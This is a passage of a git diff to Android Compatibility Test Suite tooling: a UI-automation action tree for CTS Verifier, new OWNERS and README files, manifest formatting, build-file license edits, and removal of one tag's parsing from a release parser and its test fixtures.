Test\",\"id\":\"020685b0-8828-4ca8-be07-4146718f24fe\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"020685b0-8828-4ca8-be07-4146718f24fe\"]}]},{\"value\":\"Utility\",\"id\":\"35A27E79-F9EC-46A0-A35C-29CAB676C5FB\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"General\",\"id\":\"07177D14-5C80-4653-A5D5-32420459E5B0\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Close CTS-V\",\"id\":\"023dd500-a856-4a6e-a2bb-a94d616de615\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"023dd500-a856-4a6e-a2bb-a94d616de615\"]},{\"value\":\"Close Settings\",\"id\":\"700c10f3-2945-460b-bc5a-dc5a5fdc0f96\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"700c10f3-2945-460b-bc5a-dc5a5fdc0f96\"]},{\"value\":\"Collapse status bar\",\"id\":\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"31902e22-dd19-4a14-9a1f-5bca034bacd5\"]},{\"value\":\"Disable CTS-V admin\",\"id\":\"b531da69-1e61-4e75-a6b1-7e005df80c7b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b531da69-1e61-4e75-a6b1-7e005df80c7b\"]},{\"value\":\"Dismiss instructions\",\"id\":\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1601f323-e824-4190-9ee0-350f0a1149ea\"]},{\"value\":\"Login Gmail\",\"id\":\"23c5fa74-3416-4a41-84a9-3f348940a081\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"23c5fa74-3416-4a41-84a9-3f348940a081\"]},{\"value\":\"Open CTS-V\",\"id\":\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d725d8a2-cb38-4a29-9857-a510943cf7fd\"]},{\"value\":\"Open Notifications status bar\",\"id\":\"15c75efc-b173-4eed-9a2c-164886355c98\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"15c75efc-b173-4eed-9a2c-164886355c98\"]},{\"value\":\"Open Settings\",\"id\":\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\"]},{\"value\":\"Open quick settings\",\"id\":\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bc4f5534-26cb-4b19-b548-609b6c8e326e\"]},{\"value\":\"Press Back key 5 times\",\"id\":\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"370c511c-5950-4b3a-b832-60f2a606a27a\"]},{\"value\":\"Press Back key 6 times\",\"id\":\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b50df53e-f816-49d2-b907-500f3f4f3b5a\"]},{\"value\":\"Press back key 3 times\",\"id\":\"da770381-d17c-48ca-8aba-def4338ef96b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"da770381-d17c-48ca-8aba-def4338ef96b\"]},{\"value\":\"Press back key 4 times\",\"id\":\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5cab765b-34d5-4922-a223-6322eaf241ae\"]},{\"value\":\"Screen on device\",\"id\":\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\"]},{\"value\":\"Slide up to unlock screen\",\"id\":\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6c314101-5195-49ff-88e9-8f78cc8c697b\"]},{\"value\":\"Start CTS-V\",\"id\":\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\"]},{\"value\":\"Tap center of screen\",\"id\":\"9b9343fa-a795-4169-883b-32dca700c4b6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"9b9343fa-a795-4169-883b-32dca700c4b6\"]},{\"value\":\"Validate Pass button\",\"id\":\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"]}]},{\"value\":\"Settings\",\"id\":\"1F1B2765-ED32-41C8-B1E0-DFF2F53457EB\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Check if \\\"Advanced\\\" exists\",\"id\":\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a3737847-5957-4a6a-a50c-242e80b93d8a\"]},{\"value\":\"Launch Apps & notifcations\",\"id\":\"b9b98f7c-9a8d-4282-bd0f-1b4b81eac080\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b9b98f7c-9a8d-4282-bd0f-1b4b81eac080\"]},{\"value\":\"Launch Device admin apps\",\"id\":\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\"]},{\"value\":\"Launch Gestures settings\",\"id\":\"514adc8f-fe99-4674-89cf-24028055b96e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"514adc8f-fe99-4674-89cf-24028055b96e\"]},{\"value\":\"Launch Location settings\",\"id\":\"31d97492-1de9-41be-8213-c67eb06406b1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"31d97492-1de9-41be-8213-c67eb06406b1\"]},{\"value\":\"Launch Multiple users page\",\"id\":\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\"]},{\"value\":\"Launch Reset options page\",\"id\":\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\"]},{\"value\":\"Launch Screen lock setting page\",\"id\":\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0ce4e1fa-96a5-4d0d-aa86-a410676c6bf7\"]},{\"value\":\"Launch Sound settings\",\"id\":\"0009ed57-c961-41b7-bcbe-d71e6f0abac1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0009ed57-c961-41b7-bcbe-d71e6f0abac1\"]},{\"value\":\"Launch screen lock message setting page\",\"id\":\"860c941f-b0ac-4251-9e2d-78cab6e65c90\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"860c941f-b0ac-4251-9e2d-78cab6e65c90\"]},{\"value\":\"New_Launch Accounts\",\"id\":\"7b8a5983-efee-45ea-aaa2-9aaf6d82e063\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7b8a5983-efee-45ea-aaa2-9aaf6d82e063\"]}]}]},{\"value\":\"VR\",\"id\":\"BD2D8BBB-5CB4-4F03-A146-32377F03BEA6\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"F15B7E6E-F92A-42A9-B776-F396E07381B7\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Launch (VR) Settings/ VR mode activity\",\"id\":\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"04292ddc-e958-49b5-8fd7-a4dd0cf8ff43\"]}]},{\"value\":\"test_VR Tests\",\"id\":\"a0c5135b-fa0e-4dc2-99be-662638d5c19e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a0c5135b-fa0e-4dc2-99be-662638d5c19e\"]}]}]}]}","created_by":"riacheltseng","created_at":1607072064.000000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/OWNERS b/tools/cts-verifier-automation/OWNERS
new file mode 100644
index 0000000..11df4a6
--- /dev/null
+++ b/tools/cts-verifier-automation/OWNERS
@@ -0,0 +1,4 @@
+normancheung@google.com
+pololee@google.com
+riacheltseng@google.com
+sunvincent@google.com
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/README b/tools/cts-verifier-automation/README
new file mode 100644
index 0000000..76b39cc
--- /dev/null
+++ b/tools/cts-verifier-automation/README
@@ -0,0 +1,9 @@
+CTS Verifier Automation
+---------------------
+
+This is a set of configurable automated testcases to help in reducing the manual effort for
+executing CTS-Verifier.
+These cases are intended to be used with UIConductor (https://github.com/google/android-uiconductor)
+
+The cases are designed to be easily modified for custom implemented Android user interfaces,
+focusing on the modifications to global variables which affect how the testcases use UI elements.
\ No newline at end of file
diff --git a/tools/device-setup/TestDeviceSetup/Android.bp b/tools/device-setup/TestDeviceSetup/Android.bp
index 9d40bcb..86a4136 100644
--- a/tools/device-setup/TestDeviceSetup/Android.bp
+++ b/tools/device-setup/TestDeviceSetup/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestDeviceSetup",
     defaults: ["cts_support_defaults"],
diff --git a/tools/device-setup/TestDeviceSetup/AndroidManifest.xml b/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
index 0a20e1c..5771fa2 100644
--- a/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
+++ b/tools/device-setup/TestDeviceSetup/AndroidManifest.xml
@@ -16,15 +16,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.tests.devicesetup">
+     package="android.tests.devicesetup">
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.tests.getinfo.DeviceInfoActivity"
-                  android:label="DeviceInfoActivity">
+             android:label="DeviceInfoActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -33,7 +34,7 @@
     </application>
 
     <instrumentation android:name="android.tests.getinfo.DeviceInfoInstrument"
-                     android:targetPackage="android.tests.devicesetup"
-                     android:label="app to get info from device"/>
+         android:targetPackage="android.tests.devicesetup"
+         android:label="app to get info from device"/>
 
 </manifest>
diff --git a/tools/manifest-generator/Android.bp b/tools/manifest-generator/Android.bp
index e612335..9d6cdb8 100644
--- a/tools/manifest-generator/Android.bp
+++ b/tools/manifest-generator/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "compatibility-manifest-generator",
 
diff --git a/tools/manifest-generator/tests/Android.bp b/tools/manifest-generator/tests/Android.bp
index c164c35..b8f012d 100644
--- a/tools/manifest-generator/tests/Android.bp
+++ b/tools/manifest-generator/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "compatibility-manifest-generator-tests",
 
diff --git a/tools/release-parser/Android.bp b/tools/release-parser/Android.bp
index 0159911..b2582df 100644
--- a/tools/release-parser/Android.bp
+++ b/tools/release-parser/Android.bp
@@ -14,10 +14,6 @@
 
 // cts release-parser java library
 // ============================================================
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "release-parser",
 
diff --git a/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java b/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
index c30e524..0128dcd 100644
--- a/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
+++ b/tools/release-parser/src/com/android/cts/releaseparser/XmlHandler.java
@@ -33,7 +33,6 @@
     public static final String ASSIGN_PERMISSION_TAG = "assign-permission";
     public static final String LIBRARY_TAG = "library";
     public static final String ALLOW_IN_POWER_SAVE_TAG = "allow-in-power-save";
-    public static final String SYSTEM_USER_WHITELISTED_TAG = "system-user-whitelisted-app";
     public static final String PRIVAPP_PERMISSIONS_TAG = "privapp-permissions";
     public static final String FEATURE_TAG = "feature";
 
@@ -52,7 +51,6 @@
     private PermissionList.Builder mAssignPermissionsListBuilder;
     private PermissionList.Builder mLibraryListBuilder;
     private PermissionList.Builder mAllowInPowerSaveListBuilder;
-    private PermissionList.Builder mSystemUserWhitelistedListBuilder;
     private PermissionList.Builder mPrivappPermissionsListBuilder;
     private PermissionList.Builder mFeatureListBuilder;
 
@@ -66,8 +64,6 @@
         mLibraryListBuilder.setName(LIBRARY_TAG);
         mAllowInPowerSaveListBuilder = PermissionList.newBuilder();
         mAllowInPowerSaveListBuilder.setName(ALLOW_IN_POWER_SAVE_TAG);
-        mSystemUserWhitelistedListBuilder = PermissionList.newBuilder();
-        mSystemUserWhitelistedListBuilder.setName(SYSTEM_USER_WHITELISTED_TAG);
         mPrivappPermissionsListBuilder = PermissionList.newBuilder();
         mPrivappPermissionsListBuilder.setName(PRIVAPP_PERMISSIONS_TAG);
         mFeatureListBuilder = PermissionList.newBuilder();
@@ -125,10 +121,6 @@
                 mPermissionsBuilder = Permission.newBuilder();
                 mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
                 break;
-            case SYSTEM_USER_WHITELISTED_TAG:
-                mPermissionsBuilder = Permission.newBuilder();
-                mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
-                break;
             case PRIVAPP_PERMISSIONS_TAG:
                 mPermissionsBuilder = Permission.newBuilder();
                 mPermissionsBuilder.setName(attributes.getValue(PACKAGE_TAG));
@@ -164,10 +156,6 @@
                 if (mAllowInPowerSaveListBuilder.getPermissionsList().size() > 0) {
                     mPermissions.put(ALLOW_IN_POWER_SAVE_TAG, mAllowInPowerSaveListBuilder.build());
                 }
-                if (mSystemUserWhitelistedListBuilder.getPermissionsList().size() > 0) {
-                    mPermissions.put(
-                            SYSTEM_USER_WHITELISTED_TAG, mSystemUserWhitelistedListBuilder.build());
-                }
                 if (mPrivappPermissionsListBuilder.getPermissionsList().size() > 0) {
                     mPermissions.put(
                             PRIVAPP_PERMISSIONS_TAG, mPrivappPermissionsListBuilder.build());
@@ -192,10 +180,6 @@
                 mAllowInPowerSaveListBuilder.addPermissions(mPermissionsBuilder.build());
                 mPermissionsBuilder = null;
                 break;
-            case SYSTEM_USER_WHITELISTED_TAG:
-                mSystemUserWhitelistedListBuilder.addPermissions(mPermissionsBuilder.build());
-                mPermissionsBuilder = null;
-                break;
             case PRIVAPP_PERMISSIONS_TAG:
                 mPrivappPermissionsListBuilder.addPermissions(mPermissionsBuilder.build());
                 mPermissionsBuilder = null;
diff --git a/tools/release-parser/tests/Android.bp b/tools/release-parser/tests/Android.bp
index 37827d3..4f3c7e2 100644
--- a/tools/release-parser/tests/Android.bp
+++ b/tools/release-parser/tests/Android.bp
@@ -14,10 +14,6 @@
 
 // cts release-parser java unit test library
 // ============================================================
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "release-parser-tests",
     srcs: [
@@ -32,4 +28,4 @@
 
     // Holds golden sample files in assets for validation
     java_resource_dirs: ["resources/"],
-}
+}
\ No newline at end of file
diff --git a/tools/release-parser/tests/resources/Shell.apk.pb.txt b/tools/release-parser/tests/resources/Shell.apk.pb.txt
index cbc05a8..f1cdd90 100644
--- a/tools/release-parser/tests/resources/Shell.apk.pb.txt
+++ b/tools/release-parser/tests/resources/Shell.apk.pb.txt
@@ -99,7 +99,7 @@
   uses_permissions: "android.permission.GET_APP_OPS_STATS"
   uses_permissions: "android.permission.MANAGE_APP_OPS_MODES"
   uses_permissions: "android.permission.VIBRATE"
-  uses_permissions: "android.permission.MANAGE_ACTIVITY_STACKS"
+  uses_permissions: "android.permission.MANAGE_ACTIVITY_TASKS"
   uses_permissions: "android.permission.START_TASKS_FROM_RECENTS"
   uses_permissions: "android.permission.ACTIVITY_EMBEDDING"
   uses_permissions: "android.permission.CONNECTIVITY_INTERNAL"
diff --git a/tools/release-parser/tests/resources/platform.xml b/tools/release-parser/tests/resources/platform.xml
index ab90e1b..5895f77 100644
--- a/tools/release-parser/tests/resources/platform.xml
+++ b/tools/release-parser/tests/resources/platform.xml
@@ -207,10 +207,4 @@
     <!-- Whitelist system providers -->
     <allow-in-power-save-except-idle package="com.android.providers.calendar" />
     <allow-in-power-save-except-idle package="com.android.providers.contacts" />
-
-    <!-- These are the packages that are white-listed to be able to run as system user -->
-    <system-user-whitelisted-app package="com.android.settings" />
-
-    <!-- These are the packages that shouldn't run as system user -->
-    <system-user-blacklisted-app package="com.android.wallpaper.livepicker" />
 </permissions>
diff --git a/tools/release-parser/tests/resources/platform.xml.pb.txt b/tools/release-parser/tests/resources/platform.xml.pb.txt
index 14b589e..d5fff53 100644
--- a/tools/release-parser/tests/resources/platform.xml.pb.txt
+++ b/tools/release-parser/tests/resources/platform.xml.pb.txt
@@ -59,15 +59,6 @@
   }
 }
 device_permissions {
-  key: "system-user-whitelisted-app"
-  value {
-    name: "system-user-whitelisted-app"
-    permissions {
-      name: "com.android.settings"
-    }
-  }
-}
-device_permissions {
   key: "permission"
   value {
     name: "permission"
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
index c9b656a..d44e5aa 100644
--- a/tools/vm-tests-tf/Android.bp
+++ b/tools/vm-tests-tf/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-vmtests-dot",
     libs: [ "junit" ],
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 18449e1..44217ae 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -22,8 +22,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-tf-dalvik-lib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := junit
@@ -42,8 +40,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
 
 LOCAL_MODULE := cts-tf-dalvik-buildutil
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
@@ -59,8 +55,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := vm-tests-tf
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
 LOCAL_IS_HOST_MODULE := true
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index 8de699b..b87b08a 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -23,8 +23,6 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE := compatibility-host-vm-targetprep
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests